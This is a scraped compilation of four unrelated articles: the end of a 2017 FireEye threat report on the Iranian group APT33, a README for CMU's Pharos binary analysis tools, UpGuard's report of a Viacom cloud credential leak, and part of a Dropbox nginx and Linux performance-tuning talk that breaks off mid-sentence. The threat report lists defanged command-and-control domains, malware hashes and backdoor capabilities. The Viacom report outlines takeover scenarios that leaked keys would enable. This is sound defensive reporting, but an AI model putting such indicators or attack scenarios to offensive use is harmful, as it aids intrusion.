Barnamenevis Iranian programming and software engineering forum, and registered accounts in the well-known Iranian Shabgard and Ashiyane forums, though we did not find evidence to suggest that this actor was ever a formal member of the Shabgard or Ashiyane hacktivist groups. Open source reporting links the “xman_1365_x” actor to the “Nasr Institute,” which is purported to be equivalent to Iran’s “cyber army” and controlled by the Iranian government. Separately, additional evidence ties the “Nasr Institute” to the 2011-2013 attacks on the financial industry, a series of denial of service attacks dubbed Operation Ababil. In March 2016, the U.S. Department of Justice unsealed an indictment that named two individuals allegedly hired by the Iranian government to build attack infrastructure and conduct distributed denial of service attacks in support of Operation Ababil. While the individuals and the activity described in indictment are different than what is discussed in this report, it provides some evidence that individuals associated with the “Nasr Institute” may have ties to the Iranian government. Potential Ties to Destructive Capabilities and Comparisons with SHAMOON One of the droppers used by APT33, which we refer to as DROPSHOT, has been linked to the wiper malware SHAPESHIFT. Open source research indicates SHAPESHIFT may have been used to target organizations in Saudi Arabia. Although we have only directly observed APT33 use DROPSHOT to deliver the TURNEDUP backdoor, we have identified multiple DROPSHOT samples in the wild that drop SHAPESHIFT. The SHAPESHIFT malware is capable of wiping disks, erasing volumes and deleting files, depending on its configuration. Both DROPSHOT and SHAPESHIFT contain Farsi language artifacts, which indicates they may have been developed by a Farsi language speaker (Farsi is the predominant and official language of Iran). While we have not directly observed APT33 use SHAPESHIFT or otherwise carry out destructive operations, APT33 is the only group that we have observed use the DROPSHOT dropper. It is possible that DROPSHOT may be shared amongst Iran-based threat groups, but we do not have any evidence that this is the case. In March 2017, Kasperksy released a report that compared DROPSHOT (which they call Stonedrill) with the most recent variant of SHAMOON (referred to as Shamoon 2.0). They stated that both wipers employ anti-emulation techniques and were used to target organizations in Saudi Arabia, but also mentioned several differences. For example, they stated DROPSHOT uses more advanced anti-emulation techniques, utilizes external scripts for self-deletion, and uses memory injection versus external drivers for deployment. Kaspersky also noted the difference in resource language sections: SHAMOON embeds Arabic-Yemen language resources while DROPSHOT embeds Farsi (Persian) language resources. We have also observed differences in both targeting and tactics, techniques and procedures (TTPs) associated with the group using SHAMOON and APT33. For example, we have observed SHAMOON being used to target government organizations in the Middle East, whereas APT33 has targeted several commercial organizations both in the Middle East and globally. APT33 has also utilized a wide range of custom and publicly available tools during their operations. In contrast, we have not observed the full lifecycle of operations associated with SHAMOON, in part due to the wiper removing artifacts of the earlier stages of the attack lifecycle. Regardless of whether DROPSHOT is exclusive to APT33, both the malware and the threat activity appear to be distinct from the group using SHAMOON. Therefore, we assess there may be multiple Iran-based threat groups capable of carrying out destructive operations. Additional Ties Bolster Attribution to Iran APT33’s targeting of organizations involved in aerospace and energy most closely aligns with nation-state interests, implying that the threat actor is most likely government sponsored. This coupled with the timing of operations – which coincides with Iranian working hours – and the use of multiple Iranian hacker tools and name servers bolsters our assessment that APT33 may have operated on behalf of the Iranian government. The times of day that APT33 threat actors were active suggests that they were operating in a time zone close to 04:30 hours ahead of Coordinated Universal Time (UTC). The time of the observed attacker activity coincides with Iran’s Daylight Time, which is +0430 UTC. APT33 largely operated on days that correspond to Iran’s workweek, Saturday to Wednesday. This is evident by the lack of attacker activity on Thursday, as shown in Figure 6. Public sources report that Iran works a Saturday to Wednesday or Saturday to Thursday work week, with government offices closed on Thursday and some private businesses operating on a half day schedule on Thursday. Many other Middle East countries have elected to have a Friday and Saturday weekend.Iran is one of few countries that subscribes to a Saturday to Wednesday workweek. APT33 leverages popular Iranian hacker tools and DNS servers used by other suspected Iranian threat groups. The publicly available backdoors and tools utilized by APT33 – including NANOCORE, NETWIRE, and ALFA Shell – are all available on Iranian hacking websites, associated with Iranian hackers, and used by other suspected Iranian threat groups. While not conclusive by itself, the use of publicly available Iranian hacking tools and popular Iranian hosting companies may be a result of APT33’s familiarity with them and lends support to the assessment that APT33 may be based in Iran. Figure 6: APT33 Interactive Commands by Day of Week Outlook and Implications Based on observed targeting, we believe APT33 engages in strategic espionage by targeting geographically diverse organizations across multiple industries. Specifically, the targeting of organizations in the aerospace and energy sectors indicates that the threat group is likely in search of strategic intelligence capable of benefitting a government or military sponsor. APT33’s focus on aviation may indicate the group’s desire to gain insight into regional military aviation capabilities to enhance Iran’s aviation capabilities or to support Iran’s military and strategic decision making. Their targeting of multiple holding companies and organizations in the energy sectors align with Iranian national priorities for growth, especially as it relates to increasing petrochemical production. We expect APT33 activity will continue to cover a broad scope of targeted entities, and may spread into other regions and sectors as Iranian interests dictate. APT33’s use of multiple custom backdoors suggests that they have access to some of their own development resources, with which they can support their operations, while also making use of publicly available tools. The ties to SHAPESHIFT may suggest that APT33 engages in destructive operations or that they share tools or a developer with another Iran-based threat group that conducts destructive operations. Appendix Malware Family Descriptions Malware Family Description Availability DROPSHOT Dropper that has been observed dropping and launching the TURNEDUP backdoor, as well as the SHAPESHIFT wiper malware Non-Public NANOCORE Publicly available remote access Trojan (RAT) available for purchase. It is a full-featured backdoor with a plugin framework Public NETWIRE Backdoor that attempts to steal credentials from the local machine from a variety of sources and supports other standard backdoor features. Public TURNEDUP Backdoor capable of uploading and downloading files, creating a reverse shell, taking screenshots, and gathering system information Non-Public Indicators of Compromise APT33 Domains Likely Used in Initial Targeting Domain boeing.servehttp[.]com alsalam.ddns[.]net ngaaksa.ddns[.]net ngaaksa.sytes[.]net vinnellarabia.myftp[.]org APT33 Domains / IPs Used for C2 C2 Domain MALWARE managehelpdesk[.]com NANOCORE microsoftupdated[.]com NANOCORE osupd[.]com NANOCORE mywinnetwork.ddns[.]net NETWIRE www.chromup[.]com TURNEDUP www.securityupdated[.]com TURNEDUP googlmail[.]net TURNEDUP microsoftupdated[.]net TURNEDUP syn.broadcaster[.]rocks TURNEDUP www.googlmail[.]net TURNEDUP Publicly Available Tools used by APT33 MD5 MALWARE Compile Time (UTC) 3f5329cf2a829f8840ba6a903f17a1bf NANOCORE 2017/1/11 2:20 10f58774cd52f71cd4438547c39b1aa7 NANOCORE 2016/3/9 23:48 663c18cfcedd90a3c91a09478f1e91bc NETWIRE 2016/6/29 13:44 6f1d5c57b3b415edc3767b079999dd50 NETWIRE 2016/5/29 14:11 Unattributed DROPSHOT / SHAPESHIFT MD5 Hashes MD5 MALWARE Compile Time (UTC) 0ccc9ec82f1d44c243329014b82d3125 DROPSHOT (drops SHAPESHIFT n/a - timestomped fb21f3cea1aa051ba2a45e75d46b98b8 DROPSHOT n/a - timestomped 3e8a4d654d5baa99f8913d8e2bd8a184 SHAPESHIFT 2016/11/14 21:16:40 6b41980aa6966dda6c3f68aeeb9ae2e0 SHAPESHIFT 2016/11/14 21:16:40 APT33 Malware MD5 Hashes MD5 MALWARE Compile Time (UTC) 8e67f4c98754a2373a49eaf53425d79a DROPSHOT (drops TURNEDUP) 2016/10/19 14:26 c57c5529d91cffef3ec8dadf61c5ffb2 DROPSHOT (drops TURNEDUP) 2014/6/1 11:01 c02689449a4ce73ec79a52595ab590f6 TURNEDUP 2016/9/18 10:50 59d0d27360c9534d55596891049eb3ef TURNEDUP 2016/3/8 12:34 59d0d27360c9534d55596891049eb3ef TURNEDUP 2016/3/8 12:34 797bc06d3e0f5891591b68885d99b4e1 TURNEDUP 2015/3/12 5:59 8e6d5ef3f6912a7c49f8eb6a71e18ee2 TURNEDUP 2015/3/12 5:59 32a9a9aa9a81be6186937b99e04ad4be TURNEDUP 2015/3/12 5:59 a272326cb5f0b73eb9a42c9e629a0fd8 TURNEDUP 2015/3/9 16:56 a813dd6b81db331f10efaf1173f1da5d TURNEDUP 2015/3/9 16:56 de9e3b4124292b4fba0c5284155fa317 TURNEDUP 2015/3/9 16:56 a272326cb5f0b73eb9a42c9e629a0fd8 TURNEDUP 2015/3/9 16:56 b3d73364995815d78f6d66101e718837 TURNEDUP 2014/6/1 11:01 de7a44518d67b13cda535474ffedf36b TURNEDUP 2014/6/1 11:01 b5f69841bf4e0e96a99aa811b52d0e90 TURNEDUP 2014/6/1 11:01 a2af2e6bbb6551ddf09f0a7204b5952e TURNEDUP 2014/6/1 11:01 b189b21aafd206625e6c4e4a42c8ba76 TURNEDUP 2014/6/1 11:01 aa63b16b6bf326dd3b4e82ffad4c1338 TURNEDUP 2014/6/1 11:01 c55b002ae9db4dbb2992f7ef0fbc86cb TURNEDUP 2014/6/1 11:01 c2d472bdb8b98ed83cc8ded68a79c425 TURNEDUP 2014/6/1 11:01 c6f2f502ad268248d6c0087a2538cad0 TURNEDUP 2014/6/1 11:01 c66422d3a9ebe5f323d29a7be76bc57a TURNEDUP 2014/6/1 11:01 ae47d53fe8ced620e9969cea58e87d9a TURNEDUP 2014/6/1 11:01 b12faab84e2140dfa5852411c91a3474 TURNEDUP 2014/6/1 11:01 c2fbb3ac76b0839e0a744ad8bdddba0e TURNEDUP 2014/6/1 11:01 a80c7ce33769ada7b4d56733d02afbe5 TURNEDUP 2014/6/1 11:01 6a0f07e322d3b7bc88e2468f9e4b861b TURNEDUP 2014/6/1 11:01 b681aa600be5e3ca550d4ff4c884dc3d TURNEDUP 2014/6/1 11:01 ae870c46f3b8f44e576ffa1528c3ea37 TURNEDUP 2014/6/1 11:01 bbdd6bb2e8827e64cd1a440e05c0d537 TURNEDUP 2014/6/1 11:01 0753857710dcf96b950e07df9cdf7911 TURNEDUP 2013/4/10 10:43 d01781f1246fd1b64e09170bd6600fe1 TURNEDUP 2013/4/10 10:43 1381148d543c0de493b13ba8ca17c14f TURNEDUP 2013/4/10 10:43 This entry was posted on Wed Sep 20 10:00:00 EDT 2017 and filed under APT, Iran, Jaqueline O’Leary, Josiah Kimble, Kelli Vanderlee, Latest Blog Posts, Nalani Fraser, and Threat Research. Source: https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html

The Pharos static binary analysis framework is a project of the Software Engineering Institute at Carnegie Mellon University. The framework is designed to facilitate the automated analysis of binary programs. It uses the ROSE compiler infrastructure developed by Lawrence Livermore National Laboratory for disassembly, control flow analysis, instruction semantics, and more. The current distribution in is a substantial update to the previous version, and is part of an ongoing process to release more of the framework and tools publicly. This release has a more generous BSD license than the previous release. Carnegie Mellon University retains the copyright. The Pharos framework is a research project, and the code is undergoing active development. No warranties of fitness for any purpose are provided. While this release provides build instructions, unit tests, and some documentation, much work remains to be done. We've tested a few select build configurations, but have not actively tested the portability of the source code. See the installation instructions for more details. Since the primary objective for releasing this code is to provide transparency into our research and stimulate conversation with other binary static analysis researchers, please feel free to contact Cory Cohen cfc@cert.org with questions you may have about this work. I may be unable to respond in a timely manner, but I will do my best. Pharos Static Binary Analysis Tools APIAnalyzer ApAnalyzer is a tool for finding sequences of API calls with the specified data and control relationships. This capability is intended to be used to detect common operating system interaction parasigms like opening a file, writing to it, and the closing it. OOAnalyzer OOAnalyzer is a tool for the analysis and recovery of object oriented constructs. This tool was the subject of a paper titled "Recovering C++ Objects From Binaries Using Inter-Procedural Data-Flow Analysis" which was published at the ACM SIGPLAN on Program Protection and Reverse Engineering Workshop in 2014. The tool identifies object members and methods by tracking object pointers between functions in the program. This tool was previously named "Objdigger" and is the process of being renamed OOAnalyzer as part of a substantial redesign using Prolog rules to recover the object attributes. CallAnalyzer Callanalyzer is a tool for reporting the static parameters to API calls in a binary program. It is largely a demonstration of our current calling convention, parameter analysis, and type detection capabilities, although it also provides useful analysis of the code in a program. FN2Yara FN2Yara is a tool to generate YARA signatures for matching functions in an executable program. Programs that share significant numbers of functions are are likely to have behavior in common. FN2Hash FN2Hash is tool for generating a variety of hashes and other descriptive properties for functions in an executable program. Like FN2Yara it can be used to support binary similarity analysis, or provide features for machine learning algorithm. DumpMASM DumpMASM is a tool for dumping diassembly listings from an executable using the Pharos framework in the same style as the other tools. It has not been actively maintained, and you should consider using ROSE's standard recursiveDisassemble instead. Download: pharos-master.zip or git clone https://github.com/cmu-sei/pharos.git Source: https://github.com/cmu-sei/pharos

The UpGuard Cyber Risk Team can now disclose that Viacom Inc, the Fortune 500 corporation that owns Paramount Pictures, as well as cable channels like MTV, Comedy Central, and Nickelodeon, exposed a vast array of internal access credentials and critical data that could be used to cause immense harm to the multinational corporation’s business operations. Exposed in the leak are a master provisioning server running Puppet, left accessible to the public internet, as well as the credentials needed to build and maintain Viacom servers across the media empire’s many subsidiaries and dozens of brands. Perhaps most damaging among the exposed data are Viacom’s secret cloud keys, an exposure that, in the most damaging circumstances, could put the international media conglomerate’s cloud-based servers in the hands of hackers. Such a scenario could enable malicious actors to launch a host of damaging attacks, using the IT infrastructure of one of the world’s largest broadcast and media companies. This cloud leak exposed the master controls of the world’s sixth-largest media corporation, potentially enabling the takeover of Viacom’s internal IT infrastructure and internet presence by any malicious actors. With a low CSTAR cyber risk score of 428, out of a maximum of 950, Viacom is not unique in suffering a data exposure, but stands apart leaving such critical internal data so publicly accessible. The potential nefarious acts made possible by this cloud leak could have resulted in grave reputational and business damages for Viacom, on a scale rarely seen. The Discovery On August 30th, 2017, UpGuard Director of Cyber Risk Research Chris Vickery discovered a publicly downloadable Amazon Web Services S3 cloud storage bucket, located at the subdomain “mcs-puppet” and containing seventy-two .tgz files. Vickery noted that each of the .tgz files, an extension often used for compressing backup data, had been created since June 2017 at irregular intervals; on some days, no such files had been created, while on others, five or six had been generated throughout the day. The last of these files would be created on August 30th, shortly before Vickery’s notification to Viacom of the leak on the morning of August 31st; the exposure was secured within hours. Recurring throughout the contents of each decompressed file are mentions of Viacom, as well as its associated brands, including MTV, VH1, and Comedy Central - a clear indication of the data’s purpose and use. Also frequently mentioned is the acronym “MCS,” including in the “mcs-puppet” name of the subdomain - a further clue as to the bucket’s origin. As revealed in a number of descriptions posted within Viacom job listings, MCS likely refers to Viacom’s Multiplatform Compute Services: While Viacom has not confirmed to UpGuard the purpose of this bucket, the contents of the repository appear to be nothing less than either the primary or backup configuration of Viacom’s IT infrastructure. The presence of this data in an S3 bucket bearing MCS’s name appears to further corroborate the Viacom group’s mission of moving its infrastructure onto Amazon Web Services’ cloud. Exposed within this repository are not only passwords and manifests for Viacom’s servers, data needed to maintain and expand the IT infrastructure of an $18 billion multinational corporation, but perhaps more significantly, Viacom’s access key and secret key for the corporation’s AWS account. By exposing these credentials, control of Viacom’s servers, storage, or databases under the AWS account could have been compromised. Analysis reveals that a number of cloud instances used within Viacom’s IT toolchain, including Docker, New Relic, Splunk, and Jenkins, could’ve thus been compromised in this mann The secret access key for Viacom’s Amazon Web Services account This data contained in seventy-two .tgz files in the bucket appears to be an incremental backup scheme. When decompressed, each .tgz file is revealed to contain a number of folders, such as “manifests,” “configs,” “keys,” and “modules,” as well as a number of files indicating the use of Puppet, a a server provisioning and automation suite. Puppet, commonly used in IT environments for configuration management, allows for enterprises to spin up new servers, enabling streamlined operations at scale. In order to ensure these servers fit any necessary internal specifications, a Puppet manifest is created, providing instructions for provisioning a server of the type and are able to access all other relevant systems - which means the “puppetmaster” usually needs to know all of the relevant access credentials. Picture a skeleton key, opening not merely every door in a house, but every door that could be added to the house as well. This is the type of master access that was publicly exposed in the S3 bucket. Example configuration files for Viacom's wide array of server instances Besides these damaging access exposures, other data included in the repository is sensitive and would aid malicious actors. Some of the scripts present suggest that Viacom utilizes GPG encryption on many regular backups; unfortunately, also revealed in the leak are GPG decryption keys which may unlock that data. Finally, Ruby scripts exposed in the leak provide a clear roadmap for any malicious actor to know what applications are being run, as do YAML configuration files. Picture how, in a heist movie, the bad guys need information in order to pull off the robbery. They need to know the layout of the bank vault, what type of safe they need to crack, and what keys they might need. Such scripts are the digital equivalent of this blueprint. The Significance While the exposure has since been closed, following UpGuard’s notification to Viacom, this incident highlights the potentially enormous cost such data leaks can evince upon even the largest and most sophisticated organizations. Exposed in this incident were nothing less than the master controls needed to harness the power of a digital media empire and turn it towards nefarious aims. What could malicious actors have done with the data exposed in this leak? Several threat vectors immediately present themselves. The control of Viacom digital properties could have enabled the execution of phishing schemes, using the corporation’s brand recognition to trick consumers into furnishing their personal details. The exposure of secret access keys to Viacom’s AWS account, as well as the control of the company’s server configurations and manifests, could also have allowed malicious actors to spin off additional servers to use Viacom IT systems as a botnet. Media and entertainment organizations are increasingly struggling with digital security, as cyber risk exacts increasingly high costs against the industry. Recent breaches and exposures have wrought significant damages against targets like Sony, which saw data including emails and unreleased movies stolen in an infamous 2014 incident, and HBO, which suffered similar losses this summer of scripts, emails, and unreleased television episodes. Clearly, this is not a problem of one corporation, but a growing threat to any business relying upon information technology in any way. There are indications that this pervasive level of cyber risk has not yet been met with commensurate cyber resilience across the board. While Viacom’s main website scored a low 428 on the CSTAR cyber risk scanner, other Viacom properties affected by the cloud leak mark similarly poor scores, Out of a maximum score of 950, film studio and Viacom property Paramount Pictures scores a low 475: Viacom’s cable flagship MTV scores 472: Fellow Viacom cable property Comedy Central scores 430: Kid’s cable channel Nickelodeon scores the poorest, at 386: With such widespread mediocrity in digital security postures, it is vital that this incident serve as an example of just why enterprises in every industry must begin fostering better processes for ensuring such gaps are quickly identified and remediated. The leaked Viacom data is remarkably potent and of great significance, an important reminder that cloud leaks need not be large in disk size to be devastating; when it comes to data exposures, quality can be as vital as quantity. Analysis of the Viacom leak reveals nothing less than this: the keys to a media kingdom were left publicly accessible on the internet, completely compromising the integrity of Viacom’s digital infrastructure. Source: https://www.upguard.com/breaches/cloud-leak-viacom

This is an expanded version of my talk at NginxConf 2017 on September 6, 2017. As an SRE on the Dropbox Traffic Team, I’m responsible for our Edge network: its reliability, performance, and efficiency. The Dropbox edge network is an nginx-based proxy tier designed to handle both latency-sensitive metadata transactions and high-throughput data transfers. In a system that is handling tens of gigabits per second while simultaneously processing tens of thousands latency-sensitive transactions, there are efficiency/performance optimizations throughout the proxy stack, from drivers and interrupts, through TCP/IP and kernel, to library, and application level tunings. Disclaimer In this post we’ll be discussing lots of ways to tune web servers and proxies. Please do not cargo-cult them. For the sake of the scientific method, apply them one-by-one, measure their effect, and decide whether they are indeed useful in your environment. This is not a Linux performance post, even though I will make lots of references to bcc tools, eBPF, and perf, this is by no means the comprehensive guide to using performance profiling tools. If you want to learn more about them you may want to read through Brendan Gregg’s blog. This is not a browser-performance post either. I’ll be touching client-side performance when I cover latency-related optimizations, but only briefly. If you want to know more, you should read High Performance Browser Networking by Ilya Grigorik. And, this is also not the TLS best practices compilation. Though I’ll be mentioning TLS libraries and their settings a bunch of times, you and your security team, should evaluate the performance and security implications of each of them. You can use Qualys SSL Test, to verify your endpoint against the current set of best practices, and if you want to know more about TLS in general, consider subscribing to Feisty Duck Bulletproof TLS Newsletter. Structure of the post We are going to discuss efficiency/performance optimizations of different layers of the system. Starting from the lowest levels like hardware and drivers: these tunings can be applied to pretty much any high-load server. Then we’ll move to linux kernel and its TCP/IP stack: these are the knobs you want to try on any of your TCP-heavy boxes. Finally we’ll discuss library and application-level tunings, which are mostly applicable to web servers in general and nginx specifically. For each potential area of optimization I’ll try to give some background on latency/throughput tradeoffs (if any), monitoring guidelines, and, finally, suggest tunings for different workloads. Hardware CPU For good asymmetric RSA/EC performance you are looking for processors with at least AVX2 (avx2 in /proc/cpuinfo) support and preferably for ones with large integer arithmetic capable hardware (bmi and adx). For the symmetric cases you should look for AES-NI for AES ciphers and AVX512 for ChaCha+Poly. Intel has a performance comparison of different hardware generations with OpenSSL 1.0.2, that illustrates effect of these hardware offloads. Latency sensitive use-cases, like routing, will benefit from fewer NUMA nodes and disabled HT. High-throughput tasks do better with more cores, and will benefit from Hyper-Threading (unless they are cache-bound), and generally won’t care about NUMA too much. Specifically, if you go the Intel path, you are looking for at least Haswell/Broadwell and ideally Skylake CPUs. If you are going with AMD, EPYC has quite impressive performance. NIC Here you are looking for at least 10G, preferably even 25G. If you want to push more than that through a single server over TLS, the tuning described here will not be sufficient, and you may need to push TLS framing down to the kernel level (e.g. FreeBSD, Linux). On the software side, you should look for open source drivers with active mailing lists and user communities. This will be very important if (but most likely, when) you’ll be debugging driver-related problems. Memory The rule of thumb here is that latency-sensitive tasks need faster memory, while throughput-sensitive tasks need more memory. Hard Drive It depends on your buffering/caching requirements, but if you are going to buffer or cache a lot you should go for flash-based storage. Some go as far as using a specialized flash-friendly filesystem (usually log-structured), but they do not always perform better than plain ext4/xfs. Anyway just be careful to not burn through your flash because you forgot to turn enable TRIM, or update the firmware. Operating systems: Low level Firmware You should keep your firmware up-to-date to avoid painful and lengthy troubleshooting sessions. Try to stay recent with CPU Microcode, Motherboard, NICs, and SSDs firmwares. That does not mean you should always run bleeding edge—the rule of thumb here is to run the second to the latest firmware, unless it has critical bugs fixed in the latest version, but not run too far behind. Drivers The update rules here are pretty much the same as for firmware. Try staying close to current. One caveat here is to try to decoupling kernel upgrades from driver updates if possible. For example you can pack your drivers with DKMS, or pre-compile drivers for all the kernel versions you use. That way when you update the kernel and something does not work as expected there is one less thing to troubleshoot. CPU Your best friend here is the kernel repo and tools that come with it. In Ubuntu/Debian you can install the linux-tools package, with handful of utils, but now we only use cpupower, turbostat, and x86_energy_perf_policy. To verify CPU-related optimizations you can stress-test your software with your favorite load-generating tool (for example, Yandex uses Yandex.Tank.) Here is a presentation from the last NginxConf from developers about nginx loadtesting best-practices: “NGINX Performance testing.” cpupower Using this tool is way easier than crawling /proc/. To see info about your processor and its frequency governor you should run: $ cpupower frequency-info ... driver: intel_pstate ... available cpufreq governors: performance powersave ... The governor "performance" may decide which speed to use ... boost state support: Supported: yes Active: yes Check that Turbo Boost is enabled, and for Intel CPUs make sure that you are running with intel_pstate, not the acpi-cpufreq, or even pcc-cpufreq. If you still using acpi-cpufreq, then you should upgrade the kernel, or if that’s not possible, make sure you are using performance governor. When running with intel_pstate, even powersave governor should perform well, but you need to verify it yourself. And speaking about idling, to see what is really happening with your CPU, you can use turbostat to directly look into processor’s MSRs and fetch Power, Frequency, and Idle State information: # turbostat --debug -P ... Avg_MHz Busy% ... CPU%c1 CPU%c3 CPU%c6 ... Pkg%pc2 Pkg%pc3 Pkg%pc6 ... Here you can see the actual CPU frequency (yes, /proc/cpuinfo is lying to you), and core/package idle states. If even with the intel_pstate driver the CPU spends more time in idle than you think it should, you can: Set governor to performance. Set x86_energy_perf_policy to performance. Or, only for very latency critical tasks you can: Use /dev/cpu_dma_latency interface. For UDP traffic, use busy-polling. You can learn more about processor power management in general and P-states specifically in the Intel OpenSource Technology Center presentation “Balancing Power and Performance in the Linux Kernel” from LinuxCon Europe 2015. CPU Affinity You can additionally reduce latency by applying CPU affinity on each thread/process, e.g. nginx has worker_cpu_affinity directive, that can automatically bind each web server process to its own core. This should eliminate CPU migrations, reduce cache misses and pagefaults, and slightly increase instructions per cycle. All of this is verifiable through perf stat. Sadly, enabling affinity can also negatively affect performance by increasing the amount of time a process spends waiting for a free CPU. This can be monitored by running runqlat on one of your nginx worker’s PIDs: usecs : count distribution 0 -> 1 : 819 | | 2 -> 3 : 58888 |****************************** | 4 -> 7 : 77984 |****************************************| 8 -> 15 : 10529 |***** | 16 -> 31 : 4853 |** | ... 4096 -> 8191 : 34 | | 8192 -> 16383 : 39 | | 16384 -> 32767 : 17 | | If you see multi-millisecond tail latencies there, then there is probably too much stuff going on on your servers besides nginx itself, and affinity will increase latency, instead of decreasing it. Memory All mm/ tunings are usually very workflow specific, there are only a handful of things to recommend: Set THP to madvise and enable them only when you are sure they are beneficial, otherwise you may get a order of magnitude slowdown while aiming for 20% latency improvement. Unless you are only utilizing only a single NUMA node you should set vm.zone_reclaim_mode to 0. ## NUMA Modern CPUs are actually multiple separate CPU dies connected by very fast interconnect and sharing various resources, starting from L1 cache on the HT cores, through L3 cache within the package, to Memory and PCIe links within sockets. This is basically what NUMA is: multiple execution and storage units with a fast interconnect. For the comprehensive overview of NUMA and its implications you can consult “NUMA Deep Dive Series” by Frank Denneman. But, long story short, you have a choice of: Ignoring it, by disabling it in BIOS or running your software under numactl --interleave=all, you can get mediocre, but somewhat consistent performance. Denying it, by using single node servers, just like Facebook does with OCP Yosemite platform. Embracing it, by optimizing CPU/memory placing in both user- and kernel-space. Let’s talk about the third option, since there is not much optimization needed for the first two. To utilize NUMA properly you need to treat each numa node as a separate server, for that you should first inspect the topology, which can be done with numactl --hardware: $ numactl --hardware available: 4 nodes (0-3) node 0 cpus: 0 1 2 3 16 17 18 19 node 0 size: 32149 MB node 1 cpus: 4 5 6 7 20 21 22 23 node 1 size: 32213 MB node 2 cpus: 8 9 10 11 24 25 26 27 node 2 size: 0 MB node 3 cpus: 12 13 14 15 28 29 30 31 node 3 size: 0 MB node distances: node 0 1 2 3 0: 10 16 16 16 1: 16 10 16 16 2: 16 16 10 16 3: 16 16 16 10 Things to look after: number of nodes. memory sizes for each node. number of CPUs for each node. distances between nodes. This is a particularly bad example since it has 4 nodes as well as nodes without memory attached. It is impossible to treat each node here as a separate server without sacrificing half of the cores on the system. We can verify that by using numastat: $ numastat -n -c Node 0 Node 1 Node 2 Node 3 Total -------- -------- ------ ------ -------- Numa_Hit 26833500 11885723 0 0 38719223 Numa_Miss 18672 8561876 0 0 8580548 Numa_Foreign 8561876 18672 0 0 8580548 Interleave_Hit 392066 553771 0 0 945836 Local_Node 8222745 11507968 0 0 19730712 Other_Node 18629427 8939632 0 0 27569060 You can also ask numastat to output per-node memory usage statistics in the /proc/meminfo format: $ numastat -m -c Node 0 Node 1 Node 2 Node 3 Total ------ ------ ------ ------ ----- MemTotal 32150 32214 0 0 64363 MemFree 462 5793 0 0 6255 MemUsed 31688 26421 0 0 58109 Active 16021 8588 0 0 24608 Inactive 13436 16121 0 0 29557 Active(anon) 1193 970 0 0 2163 Inactive(anon) 121 108 0 0 229 Active(file) 14828 7618 0 0 22446 Inactive(file) 13315 16013 0 0 29327 ... FilePages 28498 23957 0 0 52454 Mapped 131 130 0 0 261 AnonPages 962 757 0 0 1718 Shmem 355 323 0 0 678 KernelStack 10 5 0 0 16 Now lets look at the example of a simpler topology. $ numactl --hardware available: 2 nodes (0-1) node 0 cpus: 0 1 2 3 4 5 6 7 16 17 18 19 20 21 22 23 node 0 size: 46967 MB node 1 cpus: 8 9 10 11 12 13 14 15 24 25 26 27 28 29 30 31 node 1 size: 48355 MB Since the nodes are mostly symmetrical we can bind an instance of our application to each NUMA node with numactl --cpunodebind=X --membind=X and then expose it on a different port, that way you can get better throughput by utilizing both nodes and better latency by preserving memory locality. You can verify NUMA placement efficiency by latency of your memory operations, e.g. by using bcc’s funclatency to measure latency of the memory-heavy operation, e.g. memmove. On the kernel side, you can observe efficiency by using perf stat and looking for corresponding memory and scheduler events: # perf stat -e sched:sched_stick_numa,sched:sched_move_numa,sched:sched_swap_numa,migrate:mm_migrate_pages,minor-faults -p PID ... 1 sched:sched_stick_numa 3 sched:sched_move_numa 41 sched:sched_swap_numa 5,239 migrate:mm_migrate_pages 50,161 minor-faults The last bit of NUMA-related optimizations for network-heavy workloads comes from the fact that a network card is a PCIe device and each device is bound to its own NUMA-node, therefore some CPUs will have lower latency when talking to the network. We’ll discuss optimizations that can be applied there when we discuss NIC→CPU affinity, but for now lets switch gears to PCI-Express… PCIe Normally you do not need to go too deep into PCIe troubleshooting unless you have some kind of hardware malfunction. Therefore it’s usually worth spending minimal effort there by just creating “link width”, “link speed”, and possibly RxErr/BadTLP alerts for your PCIe devices. This should save you troubleshooting hours because of broken hardware or failed PCIe negotiation. You can use lspci for that: # lspci -s 0a:00.0 -vvv ... LnkCap: Port #0, Speed 8GT/s, Width x8, ASPM L1, Exit Latency L0s <2us, L1 <16us LnkSta: Speed 8GT/s, Width x8, TrErr- Train- SlotClk+ DLActive- BWMgmt- ABWMgmt- ... Capabilities: [100 v2] Advanced Error Reporting UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- ... UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- ... UESvrt: DLP+ SDES+ TLP- FCP+ CmpltTO- CmpltAbrt- ... CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr- CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+ PCIe may become a bottleneck though if you have multiple high-speed devices competing for the bandwidth (e.g. when you combine fast network with fast storage), therefore you may need to physically shard your PCIe devices across CPUs to get maximum throughput. source: https://en.wikipedia.org/wiki/PCI_Express#History_and_revisions Also see the article, “Understanding PCIe Configuration for Maximum Performance,” on the Mellanox website, that goes a bit deeper into PCIe configuration, which may be helpful at higher speeds if you observe packet loss between the card and the OS. Intel suggests that sometimes PCIe power management (ASPM) may lead to higher latencies and therefore higher packet loss. You can disable it by adding pcie_aspm=off to the kernel cmdline. NIC Before we start, it worth mentioning that both Intel and Mellanox have their own performance tuning guides and regardless of the vendor you pick it’s beneficial to read both of them. Also drivers usually come with a README on their own and a set of useful utilities. Next place to check for the guidelines is your operating system’s manuals, e.g. Red Hat Enterprise Linux Network Performance Tuning Guide, which explains most of the optimizations mentioned below and even more. Cloudflare also has a good article about tuning that part of the network stack on their blog, though it is mostly aimed at low latency use-cases. When optimizing NICs ethtool will be your best friend. A small note here: if you are using a newer kernel (and you really should!) you should also bump some parts of your userland, e.g. for network operations you probably want newer versions of: ethtool, iproute2, and maybe iptables/nftables packages. Valuable insight into what is happening with you network card can be obtained via ethtool -S: $ ethtool -S eth0 | egrep 'miss|over|drop|lost|fifo' rx_dropped: 0 tx_dropped: 0 port.rx_dropped: 0 port.tx_dropped_link_down: 0 port.rx_oversize: 0 port.arq_overflows: 0 Consult with your NIC manufacturer for detailed stats description, e.g. Mellanox have a dedicated wiki page for them. From the kernel side of things you’ll be looking at /proc/interrupts, /proc/softirqs, and /proc/net/softnet_stat. There are two useful bcc tools here: hardirqs and softirqs. Your goal in optimizing the network is to tune the system until you have minimal CPU usage while having no packet loss. Interrupt Affinity Tunings here usually start with spreading interrupts across the processors. How specifically you should do that depends on your workload: For maximum throughput you can distribute interrupts across all NUMA-nodes in the system. To minimize latency you can limit interrupts to a single NUMA-node. To do that you may 